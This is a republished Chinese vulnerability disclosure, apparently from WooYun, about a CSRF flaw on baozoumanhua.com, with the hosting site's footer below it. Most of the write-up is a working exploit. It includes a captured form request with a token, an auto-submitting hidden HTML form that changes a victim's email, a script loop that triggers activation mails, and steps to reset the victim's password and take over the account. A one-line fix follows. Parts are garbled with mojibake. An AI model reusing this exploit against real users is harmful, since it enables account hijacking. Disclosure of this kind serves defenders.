把token帶到 http頭部 或者驗證一下referer

來源:互聯網
上載者:User

標籤:city   開啟   並且   重設   pos   isp   auth   ext   測試   

提交地址:http://baozoumanhua.com/users/8311358
提交資料:
-----------------------------195704664324
Content-Disposition: form-data; name="utf8"
a??
-----------------------------195704664324
Content-Disposition: form-data; name="_method"
put
-----------------------------195704664324
Content-Disposition: form-data; name="authenticity_token"
FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=
-----------------------------195704664324
Content-Disposition: form-data; name="user[email]"
[email protected]
-----------------------------195704664324
Content-Disposition: form-data; name="commit"
?????1é????±

這是有token的

接著我寫一個表單
<form id="csrf" action="http://baozoumanhua.com/users/使用者id" method="post">
<input type=hidden name="utf8" value="a??">
<input type=hidden name="_method" value="put">
<input type=hidden name="authenticity_token" value="FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=">
<input type=hidden name="user[email]" value="你的郵箱">
<input type=hidden name="commit" value="?????1é????±">
<script>
document.getElementById(‘csrf‘).submit(2881064151);
</script>
</form>
再點擊發送啟用郵件 抓包
GET:http://baozoumanhua.com/my/resend/使用者ID

此時我將表單的 email 換成我的有效郵箱

接著開啟並且抓包

直接提示修改成功 無視token

可以看到 先get訪問了 a.htm 然後再post提交到 暴走漫畫

現在郵箱改掉了 只需要 訪問http://baozoumanhua.com/my/resend/8311358 就行
至於這個 做個彈窗到新視窗 彈到b.htm b.htm 用js寫個每一秒GET訪問一次
http://baozoumanhua.com/my/resend/2881064151

這時我被彈到了b.htm, 被彈到b.htm後會很多次get訪問http://baozoumanhua.com/my/resend/8311358

接著我就收到了啟用郵件


現在被啟用了 就可以去http://baozoumanhua.com/fetchpass 發送一個重設密碼郵件。
=。= 接著就可以改他的密碼了
修複方案:
可以像上次那個漏洞一樣 WooYun: 暴走漫畫越權發暴漫作品(拿王尼瑪帳號測試)利用打賞功能發財致富走上人生巔峰
把token帶到 http頭部 或者驗證一下referer。

 

把token帶到 http頭部 或者驗證一下referer

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.